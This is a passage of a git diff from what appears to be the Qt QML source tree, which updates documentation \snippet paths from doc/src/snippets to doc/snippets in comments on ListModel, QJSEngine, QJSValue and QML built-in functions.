b/src/qml/qml/qqmlengine.cpp index 7eed2f9e08..74a435bd4a 100644 --- a/src/qml/qml/qqmlengine.cpp +++ b/src/qml/qml/qqmlengine.cpp @@ -117,7 +117,7 @@ void qmlRegisterBaseTypes(const char *uri, int versionMajor, int versionMinor) It can be useful to create a QtObject if you need an extremely lightweight element to enclose a set of custom properties: - \snippet doc/src/snippets/qml/qtobject.qml 0 + \snippet doc/snippets/qml/qtobject.qml 0 It can also be useful for C++ integration, as it is just a plain QObject. See the QObject documentation for further details. @@ -329,7 +329,7 @@ of their use. The following example uses the \c application object to indicate whether the application is currently active: - \snippet doc/src/snippets/qml/application.qml document + \snippet doc/snippets/qml/application.qml document \qmlproperty object Qt::inputMethod \since QtQuick 2.0 diff --git a/src/qml/qml/qquicklistmodel.cpp b/src/qml/qml/qquicklistmodel.cpp index 37f6e86cb8..15b39b2cb4 100644 --- a/src/qml/qml/qquicklistmodel.cpp +++ b/src/qml/qml/qquicklistmodel.cpp @@ -1380,7 +1380,7 @@ QQuickListModelParser::ListInstruction *QQuickListModelParser::ListModelData::in \inlineimage listmodel.png \enddiv - \snippet doc/src/snippets/qml/listmodel.qml 0 + \snippet doc/snippets/qml/listmodel.qml 0 Roles (properties) in each element must begin with a lower-case letter and should be common to all elements in a model. The ListElement documentation @@ -1389,14 +1389,14 @@ QQuickListModelParser::ListInstruction *QQuickListModelParser::ListModelData::in Since the example model contains an \c id property, it can be referenced by views, such as the ListView in this example: - \snippet doc/src/snippets/qml/listmodel-simple.qml 0 + \snippet doc/snippets/qml/listmodel-simple.qml 0 \dots 8 - \snippet doc/src/snippets/qml/listmodel-simple.qml 1 + \snippet doc/snippets/qml/listmodel-simple.qml 1 It is possible for roles to contain list data. In the following example we create a list of fruit attributes: - \snippet doc/src/snippets/qml/listmodel-nested.qml model + \snippet doc/snippets/qml/listmodel-nested.qml model The delegate displays all the fruit attributes: @@ -1404,14 +1404,14 @@ QQuickListModelParser::ListInstruction *QQuickListModelParser::ListModelData::in \inlineimage listmodel-nested.png \enddiv - \snippet doc/src/snippets/qml/listmodel-nested.qml delegate + \snippet doc/snippets/qml/listmodel-nested.qml delegate \section1 Modifying List Models The content of a ListModel may be created and modified using the clear(), append(), set(), insert() and setProperty() methods. For example: - \snippet doc/src/snippets/qml/listmodel-modify.qml delegate + \snippet doc/snippets/qml/listmodel-modify.qml delegate Note that when creating content dynamically the set of available properties cannot be changed once set. Whatever properties are first added to the model @@ -2456,12 +2456,12 @@ bool QQuickListModelParser::definesEmptyList(const QString &s) The following model defines a series of list elements, each of which contain "name" and "cost" roles and their associated values. - \snippet doc/src/snippets/qml/qml-data-models/listelements.qml model + \snippet doc/snippets/qml/qml-data-models/listelements.qml model The delegate obtains the name and cost for each element by simply referring to \c name and \c cost: - \snippet doc/src/snippets/qml/qml-data-models/listelements.qml view + \snippet doc/snippets/qml/qml-data-models/listelements.qml view \sa ListModel */ diff --git a/src/qml/qml/qquickworkerscript.cpp b/src/qml/qml/qquickworkerscript.cpp index b0d39fd0f8..7e0a0f32d6 100644 --- a/src/qml/qml/qquickworkerscript.cpp +++ b/src/qml/qml/qquickworkerscript.cpp @@ -568,7 +568,7 @@ void QQuickWorkerScriptEngine::run() An example: - \snippet doc/src/snippets/qml/workerscript.qml 0 + \snippet doc/snippets/qml/workerscript.qml 0 The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: diff --git a/src/qml/qml/v8/qjsengine.cpp b/src/qml/qml/v8/qjsengine.cpp index 254b8e7f97..d2c8067839 100644 --- a/src/qml/qml/v8/qjsengine.cpp +++ b/src/qml/qml/v8/qjsengine.cpp @@ -66,7 +66,7 @@ Q_DECLARE_METATYPE(QList<int>) Use evaluate() to evaluate script code. - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 0 + \snippet doc/snippets/code/src_script_qjsengine.cpp 0 evaluate() returns a QJSValue that holds the result of the evaluation. The QJSValue class provides functions for converting @@ -76,13 +76,13 @@ Q_DECLARE_METATYPE(QList<int>) The following code snippet shows how a script function can be defined and then invoked from C++ using QJSValue::call(): - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 1 + \snippet doc/snippets/code/src_script_qjsengine.cpp 1 As can be seen from the above snippets, a script is provided to the engine in the form of a string. One common way of loading scripts is by reading the contents of a file and passing it to evaluate(): - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 2 + \snippet doc/snippets/code/src_script_qjsengine.cpp 2 Here we pass the name of the file as the second argument to evaluate(). This does not affect evaluation in any way; the second @@ -98,7 +98,7 @@ Q_DECLARE_METATYPE(QList<int>) want to configure a script engine by adding one or more properties to the Global Object: - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 3 + \snippet doc/snippets/code/src_script_qjsengine.cpp 3 Adding custom properties to the scripting environment is one of the standard means of providing a scripting API that is specific to your @@ -114,7 +114,7 @@ Q_DECLARE_METATYPE(QList<int>) value. If isError() returns true, you can call toString() on the error object to obtain an error message. - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 4 + \snippet doc/snippets/code/src_script_qjsengine.cpp 4 \section1 Script Object Creation @@ -132,7 +132,7 @@ Q_DECLARE_METATYPE(QList<int>) properties of the proxy object. No binding code is needed because it is done dynamically using the Qt meta object system. - \snippet doc/src/snippets/code/src_script_qjsengine.cpp 5 + \snippet doc/snippets/code/src_script_qjsengine.cpp 5 \sa QJSValue, {Making Applications Scriptable} diff --git a/src/qml/qml/v8/qjsvalue.cpp b/src/qml/qml/v8/qjsvalue.cpp index 726ec82e90..6d6df11d7d 100644 --- a/src/qml/qml/v8/qjsvalue.cpp +++ b/src/qml/qml/v8/qjsvalue.cpp @@ -59,7 +59,7 @@ QJSValues. Use setProperty() to set a property of an object, and call property() to retrieve the value of a property. - \snippet doc/src/snippets/code/src_script_qjsvalue.cpp 0 + \snippet doc/snippets/code/src_script_qjsvalue.cpp 0 If you want to iterate over the properties of a script object, use the QJSValueIterator class. diff --git a/src/qml/qml/v8/qjsvalueiterator.cpp b/src/qml/qml/v8/qjsvalueiterator.cpp index 4c3fa15fd3..3135c2fd77 100644 --- a/src/qml/qml/v8/qjsvalueiterator.cpp +++ b/src/qml/qml/v8/qjsvalueiterator.cpp @@ -44,7 +44,7 @@ QT_BEGIN_NAMESPACE beginning of the sequence of properties. Here's how to iterate over all the properties of a QJSValue: - \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 0 + \snippet doc/snippets/code/src_script_qjsvalueiterator.cpp 0 The next() advances the iterator. The name() and value() functions return the name and value of the last item that was @@ -54,14 +54,14 @@ QT_BEGIN_NAMESPACE own properties; i.e. it does not follow the prototype chain. You can use a loop like this to follow the prototype chain: - \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 1 + \snippet doc/snippets/code/src_script_qjsvalueiterator.cpp 1 Note that QJSValueIterator will not automatically skip over properties that have the QJSValue::SkipInEnumeration flag set; that flag only affects iteration in script code. If you want, you can skip over such properties with code like the following: - \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 2 + \snippet doc/snippets/code/src_script_qjsvalueiterator.cpp 2 \sa QJSValue::property() */ diff --git a/src/qml/qml/v8/qqmlbuiltinfunctions.cpp b/src/qml/qml/v8/qqmlbuiltinfunctions.cpp index 27a339221b..761676d8c5 100644 --- a/src/qml/qml/v8/qqmlbuiltinfunctions.cpp +++ b/src/qml/qml/v8/qqmlbuiltinfunctions.cpp @@ -978,7 +978,7 @@ If \a filepath is specified, it will be used for error reporting for the created Example (where \c parentItem is the id of an existing QML item): -\snippet doc/src/snippets/qml/createQmlObject.qml 0 +\snippet doc/snippets/qml/createQmlObject.qml 0 In the case of an error, a QtScript Error object is thrown. This object has an additional property, \c qmlErrors, which is an array of the errors encountered. @@ -1109,7 +1109,7 @@ component to create an object instance of the component. For example: -\snippet doc/src/snippets/qml/createComponent-simple.qml 0 +\snippet doc/snippets/qml/createComponent-simple.qml 0 See \l {Dynamic Object Management in QML} for more information on using this function. @@ -1338,20 +1338,20 @@ v8::Handle<v8::Value> locale(const v8::Arguments &args) There are two main use-cases for the function: firstly, in imperative JavaScript code to cause a binding assignment: - \snippet doc/src/snippets/declarative/qtBinding.1.qml 0 + \snippet doc/snippets/declarative/qtBinding.1.qml 0 and secondly, when defining initial property values of dynamically constructed objects (via Component.createObject() or Loader.setSource()) as being bound to the result of an expression. For example, assuming the existence of a DynamicText component: - \snippet doc/src/snippets/declarative/DynamicText.qml 0 + \snippet doc/snippets/declarative/DynamicText.qml 0 the output from: - \snippet doc/src/snippets/declarative/qtBinding.2.qml 0 + \snippet doc/snippets/declarative/qtBinding.2.qml 0 and from: - \snippet doc/src/snippets/declarative/qtBinding.3.qml 0 + \snippet doc/snippets/declarative/qtBinding.3.qml 0 should both be: \code @@ -1366,7 +1366,7 @@ v8::Handle<v8::Value> locale(const v8::Arguments &args) declarations and binding assignments}) except when the result is stored in an array bound to a var property. - \snippet doc/src/snippets/declarative/qtBinding.4.qml 0 + \snippet doc/snippets/declarative/qtBinding.4.qml 0 Note: in QtQuick 1.x, all function assignment was treated as binding assignment, so the Qt.binding() function is new in |
